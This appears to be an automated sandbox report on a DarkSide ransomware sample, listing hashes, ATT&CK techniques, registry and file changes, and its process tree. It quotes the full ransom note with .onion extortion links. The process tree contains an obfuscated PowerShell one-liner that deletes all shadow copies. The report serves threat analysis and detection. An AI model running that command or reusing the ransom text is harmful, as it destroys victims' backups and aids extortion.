darkside | c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
26-07-2024 05:44

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General

Target

c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Size

75KB
MD5

82eab016732be7b8b8aa14f205ca69cf
SHA1

818f451044610b1805e4c515d2bf112718fc8125
SHA256

c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e
SHA512

1b87a7b81c1841e6dff89224f386ff52bd752e124e8c1c68e480ba399446404ad29e92172731fccd93e8a89e61f5097c07c9d6e0f41d2131a96d317344343eea
SSDEEP

1536:Dx7Fu4/i6/P3rlckx5+R4VDZ5CRGCq2iW7z:F7FujwPblhx1DZ5yGCH

Score

10^/10

darkside aspackv2 credential_access discovery execution ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.2bb90211.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 90 GB data. These files include: Finance data Insurance data Buchgalting Data Banking data and details, bank contracts, creditors info Much personal data Marketing data Production, Technik data Email conversations dump and more others. All documents are fresh (last 365 days) and stored on our offline servers. All data will be published piece by piece. First data pack will be published in 7 days if we do not come for agreement. Your personal leak page: http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF On the page you will find examples of files that have been stolen. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH When you open our website, put the following data in the input form: Key: rIzr2nCuqbQL7MGMwoppaucqSp5AZufUiYhssYa1SGfO0XFf09fBDlLDWgKQSnnvIAfqYTsOgUhOTxzbxGsC9nH0yk2HOFhn7t8ntX8L0evyce8vKdgUKF7Xvjn6ljaQQ4HPEfPZFP2jvN0DgBVWl2WgNT1U3owZ1bNBjps34t33ObZc01Ce1yKx5CSlwUYbw1ktjqt5d7R9DwRL3NIGrTHvMX3qXI5aBAUnirnc4zHtfGPXq4CuFoh04Tv7VE81aohfvuz8D7wo7i28sbILoJyF6mzeQwSkAXolOhXKQAEPsGcdbfLxfY5uILkHB3d1gAyxT1owQXsY4heNQbY3yYL1Em7dDaLdbNhOf0adYWFiFfAl9EwLDRT96L9Xzsk17ho1B82wOWZ79ZqtT8yqnZ4APJb1LO91ASSsgUdNvR0lAaZTfXHHxUI1vDm5ygyV7cbxMlrQ5K1U6ughdd5WosogMJWVNjreirhzuDzY6SnixtukGYG0D9azzgOHcgidJcLV4n0orhzIaA1SMNYOpdOIadgBehCaHwEyr3hn8CEa6fgpUgK6E95 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF

http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Renames multiple (143) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x0009000000023471-3.dat	aspack_v212_v242

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation	zfkiJzV.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Executes dropped EXE 1 IoCs

pid	Process
4056	zfkiJzV.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2760	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\2bb90211.BMP"	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\2bb90211.BMP"	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\pack200.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\officeappguardwin32.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE	zfkiJzV.exe
File opened for modification	C:\Program Files\Mozilla Firefox\uninstall\helper.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Windows Security\BrowserCore\BrowserCore.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\keytool.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\tnameserv.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\SDXHelperBgt.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\OLicenseHeartbeat.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag\SmartTagInstall.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_3.6.73.0_x64__8wekyb3d8bbwe\Microsoft.Notes.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxIdentityProvider_12.50.6001.0_x64__8wekyb3d8bbwe\XboxIdp.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\wsgen.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\vlc-cache-gen.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Client\AppVDllSurrogate64.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\excelcnv.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\SELFCERT.EXE	zfkiJzV.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\Maps.exe	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\pack200.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jdb.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\policytool.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\jp2launcher.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\jabswitch.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WebpImageExtension_1.0.22753.0_x64__8wekyb3d8bbwe\codecpacks.webp.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxSpeechToTextOverlay_1.17.29001.0_x64__8wekyb3d8bbwe\SpeechToTextOverlay64-Retail.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javapackager.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ORGCHART.EXE	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\123.0.6312.106\chrome_installer.exe	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Windows Mail\wabmig.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE	zfkiJzV.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\123.0.6312.106\Installer\setup.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\java-rmi.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\SPREADSHEETCOMPARE.EXE	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javah.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\ssvagent.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\tnameserv.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MSPaint_6.1907.29027.0_x64__8wekyb3d8bbwe\PaintStudio.View.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.StorePurchaseApp_11811.1001.18.0_x64__8wekyb3d8bbwe\StoreExperienceHost.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1907.3152.0_x64__8wekyb3d8bbwe\PilotshubApp.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\GRAPH.EXE	zfkiJzV.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_x64__8wekyb3d8bbwe\Microsoft.MicrosoftSolitaireCollection.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1906.2182.0_x64__8wekyb3d8bbwe\Time.exe	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Windows Mail\wab.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\orbd.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\CLVIEW.EXE	zfkiJzV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jdeps.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\servertool.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\wsimport.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Mozilla Firefox\plugin-container.exe	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.371\GoogleUpdateOnDemand.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe	zfkiJzV.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe	zfkiJzV.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\policytool.exe	zfkiJzV.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zfkiJzV.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\Desktop\WallpaperStyle = "10"	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.2bb90211	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.2bb90211\ = "2bb90211"	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\2bb90211\DefaultIcon	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\2bb90211	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\2bb90211\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\2bb90211.ico"	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2760	powershell.exe
2760	powershell.exe
4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeSecurityPrivilege	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeTakeOwnershipPrivilege	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeLoadDriverPrivilege	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeSystemProfilePrivilege	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeSystemtimePrivilege	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeProfSingleProcessPrivilege	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeIncBasePriorityPrivilege	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeCreatePagefilePrivilege	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeBackupPrivilege	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeRestorePrivilege	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeShutdownPrivilege	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeDebugPrivilege	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeSystemEnvironmentPrivilege	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeRemoteShutdownPrivilege	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeUndockPrivilege	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeManageVolumePrivilege	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: 33	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: 34	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: 35	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: 36	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
Token: SeDebugPrivilege	2760	powershell.exe
Token: SeBackupPrivilege	4392	vssvc.exe
Token: SeRestorePrivilege	4392	vssvc.exe
Token: SeAuditPrivilege	4392	vssvc.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4528 wrote to memory of 4056	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe	84
PID 4528 wrote to memory of 4056	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe	84
PID 4528 wrote to memory of 4056	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe	84
PID 4056 wrote to memory of 4780	4056	zfkiJzV.exe	89
PID 4056 wrote to memory of 4780	4056	zfkiJzV.exe	89
PID 4056 wrote to memory of 4780	4056	zfkiJzV.exe	89
PID 4528 wrote to memory of 2760	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe	106
PID 4528 wrote to memory of 2760	4528	c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe	106

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe
"C:\Users\Admin\AppData\Local\Temp\c2ee523bb90260218b88e7fe0b7ca0dee8c9042c863682619c542d4961ddb32e.exe"
1⤵
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4528
- C:\Users\Admin\AppData\Local\Temp\zfkiJzV.exe
  C:\Users\Admin\AppData\Local\Temp\zfkiJzV.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4056
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\121b3844.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2760

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4392

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
71444def27770d9071039d005d0323b7

SHA1
cef8654e95495786ac9347494f4417819373427e

SHA256
8438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9

SHA512
a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034

Download Submit
C:\Users\Admin\AppData\Local\Temp\121b3844.bat

Filesize
189B

MD5
9904d4885c1cd6965091f7710f57ddd7

SHA1
1ae4edd9b8c17662ef3f0a02192cd83a76a4308f

SHA256
8708055851e37cbb1c4b597e3977b83bb382b6c3d9edeb7ca605f1d63aaf864b

SHA512
52fbd3984dc04c6f321f58381516945112a58a4f2e6c8f9e0284e063521a50b403c944e4f73239eb5c352812b32e47dc5e88a1063f8ce8041a108e7b19972f1c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_faxzh3s1.v5q.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\zfkiJzV.exe

Filesize
15KB

MD5
f7d21de5c4e81341eccd280c11ddcc9a

SHA1
d4e9ef10d7685d491583c6fa93ae5d9105d815bd

SHA256
4485df22c627fa0bb899d79aa6ff29bc5be1dbc3caa2b7a490809338d54b7794

SHA512
e4553b86b083996038bacfb979ad0b86f578f95185d8efac34a77f6cc73e491d4f70e1449bbc9eb1d62f430800c1574101b270e1cb0eeed43a83049a79b636a3

Download Submit
C:\Users\Admin\README.2bb90211.TXT

Filesize
3KB

MD5
b58e2411168bbdbec635cf4001635db0

SHA1
c130cd9caaaa514a6b98c1168e10d44a989d191a

SHA256
652a74736e10402013fae584c967fc5ea3b7c2eac0a436d41759963b3d42e37a

SHA512
87e2c3ecf3805a7b3945eed4472548a63cbaee7c004c3bce220524e1c6733b3eb780812b4d336f6b72a365c161c02e18b8101e405d00507ff902e88dd49ba30a

Download Submit
memory/2760-33-0x00007FFFA87B0000-0x00007FFFA9271000-memory.dmp

Filesize
10.8MB

Download
memory/2760-22-0x00007FFFA87B3000-0x00007FFFA87B5000-memory.dmp

Filesize
8KB

Download
memory/2760-32-0x000001F27FD40000-0x000001F27FD62000-memory.dmp

Filesize
136KB

Download
memory/2760-34-0x00007FFFA87B0000-0x00007FFFA9271000-memory.dmp

Filesize
10.8MB

Download
memory/2760-37-0x00007FFFA87B0000-0x00007FFFA9271000-memory.dmp

Filesize
10.8MB

Download
memory/4056-12-0x0000000000660000-0x0000000000669000-memory.dmp

Filesize
36KB

Download
memory/4056-5-0x0000000000660000-0x0000000000669000-memory.dmp

Filesize
36KB

Download
memory/4528-0-0x00000000001F0000-0x0000000000209000-memory.dmp

Filesize
100KB

Download
memory/4528-14-0x00000000001F0000-0x0000000000209000-memory.dmp

Filesize
100KB

Download